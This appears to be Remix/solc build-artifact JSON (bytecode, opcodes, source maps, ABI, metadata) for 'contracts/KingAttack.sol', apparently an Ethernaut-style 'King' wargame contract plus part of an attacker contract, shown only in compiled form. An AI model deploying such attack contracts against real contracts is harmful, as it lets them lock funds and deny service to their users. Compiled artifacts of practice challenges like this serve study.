"contents": "{\n\n function abi_encode_t_address_payable_to_t_address_payable_fromStack(value, pos) {\n mstore(pos, cleanup_t_address_payable(value))\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_payable_to_t_address_payable_fromStack(value0, add(headStart, 0))\n\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_address_payable(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "60806040526004361061004e5760003560e01c806329cc6d6f1461017b5780638da5cb5b146101a6578063a955ffa0146101d1578063e3ac5d26146101fc578063f8a8fd6d1461022757610176565b3661017657600154341015806100b15750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6100ba57600080fd5b3447146100c657600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561012c573d6000803e3d6000fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034600181905550005b600080fd5b34801561018757600080fd5b50610190610231565b60405161019d9190610366565b60405180910390f35b3480156101b257600080fd5b506101bb61025a565b6040516101c89190610366565b60405180910390f35b3480156101dd57600080fd5b506101e6610280565b6040516101f39190610381565b60405180910390f35b34801561020857600080fd5b50610211610286565b60405161021e9190610381565b60405180910390f35b61022f61028c565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60015481565b600154341015806102ea5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6102f357600080fd5b3447146102ff57600080fd5b3273ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610345573d6000803e3d6000fd5b50565b6103518161039c565b82525050565b610360816103ce565b82525050565b600060208201905061037b6000830184610348565b92915050565b60006020820190506103966000830184610357565b92915050565b60006103a7826103ae565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091905056fea264697066735822122057b620cd74e9f0c215addad65bae778d011ffed6b1d284a76dd0b5fdc67ece1964736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4E JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x29CC6D6F EQ PUSH2 0x17B JUMPI DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x1A6 JUMPI DUP1 PUSH4 0xA955FFA0 EQ PUSH2 0x1D1 JUMPI DUP1 PUSH4 0xE3AC5D26 EQ PUSH2 0x1FC JUMPI DUP1 PUSH4 0xF8A8FD6D EQ PUSH2 0x227 JUMPI PUSH2 0x176 JUMP JUMPDEST CALLDATASIZE PUSH2 0x176 JUMPI PUSH1 0x1 SLOAD CALLVALUE LT ISZERO DUP1 PUSH2 0xB1 JUMPI POP PUSH1 0x2 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND EQ JUMPDEST PUSH2 0xBA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE SELFBALANCE EQ PUSH2 0xC6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC CALLVALUE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x12C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP CALLER PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLVALUE PUSH1 0x1 DUP2 SWAP1 SSTORE POP STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x187 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x190 PUSH2 0x231 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x19D SWAP2 SWAP1 PUSH2 0x366 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1B2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1BB PUSH2 0x25A JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x1C8 SWAP2 SWAP1 PUSH2 0x366 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1DD JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1E6 PUSH2 0x280 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x1F3 SWAP2 SWAP1 PUSH2 0x381 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x208 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x211 PUSH2 0x286 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x21E SWAP2 SWAP1 PUSH2 0x381 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x22F PUSH2 0x28C JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x2 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x3 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x1 SLOAD CALLVALUE LT ISZERO DUP1 PUSH2 0x2EA JUMPI POP PUSH1 0x2 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND EQ JUMPDEST PUSH2 0x2F3 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE SELFBALANCE EQ PUSH2 0x2FF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST ORIGIN PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC CALLVALUE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x345 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x351 DUP2 PUSH2 0x39C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x360 DUP2 PUSH2 0x3CE JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x37B PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x348 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x396 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x357 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3A7 DUP3 PUSH2 0x3AE JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 JUMPI 0xB6 KECCAK256 0xCD PUSH21 0xE9F0C215ADDAD65BAE778D011FFED6B1D284A76DD0 0xB5 REVERT 0xC6 PUSH31 0xCE1964736F6C63430008070033000000000000000000000000000000000000 ",
"sourceMap": "60:763:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;365:5;;352:9;:18;;:41;;;;388:5;;;;;;;;;;;374:19;;:10;:19;;;352:41;344:50;;;;;;434:9;409:21;:34;401:43;;;;;;451:4;;;;;;;;;;:13;;:24;465:9;451:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;497:10;482:4;;:26;;;;;;;;;;;;;;;;;;523:9;515:5;:17;;;;60:763;;;;;741:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;126:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;159:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;104:17;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;544:191;;;:::i;:::-;;741:79;779:15;810:4;;;;;;;;;;;803:11;;741:79;:::o;126:28::-;;;;;;;;;;;;;:::o;159:19::-;;;;:::o;104:17::-;;;;:::o;544:191::-;605:5;;592:9;:18;;:41;;;;628:5;;;;;;;;;;;614:19;;:10;:19;;;592:41;584:50;;;;;;674:9;649:21;:34;641:43;;;;;;699:9;691:27;;:38;719:9;691:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;544:191::o;7:142:1:-;110:32;136:5;110:32;:::i;:::-;105:3;98:45;7:142;;:::o;155:118::-;242:24;260:5;242:24;:::i;:::-;237:3;230:37;155:118;;:::o;279:254::-;388:4;426:2;415:9;411:18;403:26;;439:87;523:1;512:9;508:17;499:6;439:87;:::i;:::-;279:254;;;;:::o;539:222::-;632:4;670:2;659:9;655:18;647:26;;683:71;751:1;740:9;736:17;727:6;683:71;:::i;:::-;539:222;;;;:::o;767:104::-;812:7;841:24;859:5;841:24;:::i;:::-;830:35;;767:104;;;:::o;877:126::-;914:7;954:42;947:5;943:54;932:65;;877:126;;;:::o;1009:77::-;1046:7;1075:5;1064:16;;1009:77;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "207600",
"executionCost": "70872",
"totalCost": "278472"
},
"external": {
"_king()": "2500",
"lastVal()": "2451",
"owner()": "2514",
"prize()": "2473",
"test()": "infinite"
}
},
"methodIdentifiers": {
"_king()": "29cc6d6f",
"lastVal()": "a955ffa0",
"owner()": "8da5cb5b",
"prize()": "e3ac5d26",
"test()": "f8a8fd6d"
}
},
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "_king",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lastVal",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "prize",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "test",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "_king",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lastVal",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "prize",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "test",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/KingAttack.sol": "King"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/KingAttack.sol": {
"keccak256": "0x7a46fbbb13e8c6f11073a26bc49ba1f10148fc2a4d1e5b873264c0e05e95264f",
"license": "MIT",
"urls": [
"bzz-raw://1e79e85f6c5f51916160091fa7f16060b4c863d53baf8382d3d0f22adc851f4c",
"dweb:/ipfs/QmVNxQiftCskDCudDs58jbHPPXuHWhfFTkRxvvpXJLAmhE"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_148": {
"entryPoint": null,
"id": 148,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_address_payable_fromMemory": {
"entryPoint": 185,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_address_payable_fromMemory": {
"entryPoint": 206,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address_payable": {
"entryPoint": 251,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 269,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 301,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_address_payable": {
"entryPoint": 306,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1255:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "78:88:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "88:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "103:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "97:5:1"
},
"nodeType": "YulFunctionCall",
"src": "97:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "88:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "154:5:1"
}
],
"functionName": {
"name": "validator_revert_t_address_payable",
"nodeType": "YulIdentifier",
"src": "119:34:1"
},
"nodeType": "YulFunctionCall",
"src": "119:41:1"
},
"nodeType": "YulExpressionStatement",
"src": "119:41:1"
}
]
},
"name": "abi_decode_t_address_payable_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "56:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "64:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "72:5:1",
"type": ""
}
],
"src": "7:159:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "257:282:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "303:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "305:77:1"
},
"nodeType": "YulFunctionCall",
"src": "305:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "305:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "278:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "287:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "274:3:1"
},
"nodeType": "YulFunctionCall",
"src": "274:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "299:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "270:3:1"
},
"nodeType": "YulFunctionCall",
"src": "270:32:1"
},
"nodeType": "YulIf",
"src": "267:119:1"
},
{
"nodeType": "YulBlock",
"src": "396:136:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "411:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "425:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "415:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "440:82:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "494:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "505:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "490:3:1"
},
"nodeType": "YulFunctionCall",
"src": "490:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "514:7:1"
}
],
"functionName": {
"name": "abi_decode_t_address_payable_fromMemory",
"nodeType": "YulIdentifier",
"src": "450:39:1"
},
"nodeType": "YulFunctionCall",
"src": "450:72:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "440:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_address_payable_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "227:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "238:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "250:6:1",
"type": ""
}
],
"src": "172:367:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "585:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "595:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "611:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "605:5:1"
},
"nodeType": "YulFunctionCall",
"src": "605:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "595:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "578:6:1",
"type": ""
}
],
"src": "545:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "679:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "689:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "718:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "700:17:1"
},
"nodeType": "YulFunctionCall",
"src": "700:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "689:7:1"
}
]
}
]
},
"name": "cleanup_t_address_payable",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "661:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "671:7:1",
"type": ""
}
],
"src": "626:104:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "781:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "791:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "806:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "813:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "802:3:1"
},
"nodeType": "YulFunctionCall",
"src": "802:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "791:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "763:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "773:7:1",
"type": ""
}
],
"src": "736:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "957:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "974:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "977:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "967:6:1"
},
"nodeType": "YulFunctionCall",
"src": "967:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "967:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "868:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1080:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1097:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1100:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1090:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1090:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1090:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "991:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1165:87:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1230:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1239:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1242:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1232:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1232:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1232:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1188:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1221:5:1"
}
],
"functionName": {
"name": "cleanup_t_address_payable",
"nodeType": "YulIdentifier",
"src": "1195:25:1"
},
"nodeType": "YulFunctionCall",
"src": "1195:32:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1185:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1185:43:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1178:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1178:51:1"
},
"nodeType": "YulIf",
"src": "1175:71:1"
}
]
},
"name": "validator_revert_t_address_payable",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1158:5:1",
"type": ""
}
],
"src": "1114:138:1"
}
]
},
"contents": "{\n\n function abi_decode_t_address_payable_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_address_payable(value)\n }\n\n function abi_decode_tuple_t_address_payable_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address_payable_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function cleanup_t_address_payable(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_address_payable(value) {\n if iszero(eq(value, cleanup_t_address_payable(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50604051610342380380610342833981810160405281019061003291906100ce565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b6000815190506100c881610132565b92915050565b6000602082840312156100e4576100e361012d565b5b60006100f2848285016100b9565b91505092915050565b60006101068261010d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600080fd5b61013b816100fb565b811461014657600080fd5b50565b6101ea806101586000396000f3fe6080604052600436106100295760003560e01c8063930c20031461002e5780639e5faafc14610059575b600080fd5b34801561003a57600080fd5b50610043610063565b6040516100509190610159565b60405180910390f35b610061610087565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516100cb90610144565b60006040518083038185875af1925050503d8060008114610108576040519150601f19603f3d011682016040523d82523d6000602084013e61010d565b606091505b505050565b61011b8161017f565b82525050565b600061012e600083610174565b9150610139826101b1565b600082019050919050565b600061014f82610121565b9150819050919050565b600060208201905061016e6000830184610112565b92915050565b600081905092915050565b600061018a82610191565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b5056fea264697066735822122016347a959b8183dc886a443df51dda9738036fb1dc98add529b010e3385f7a4764736f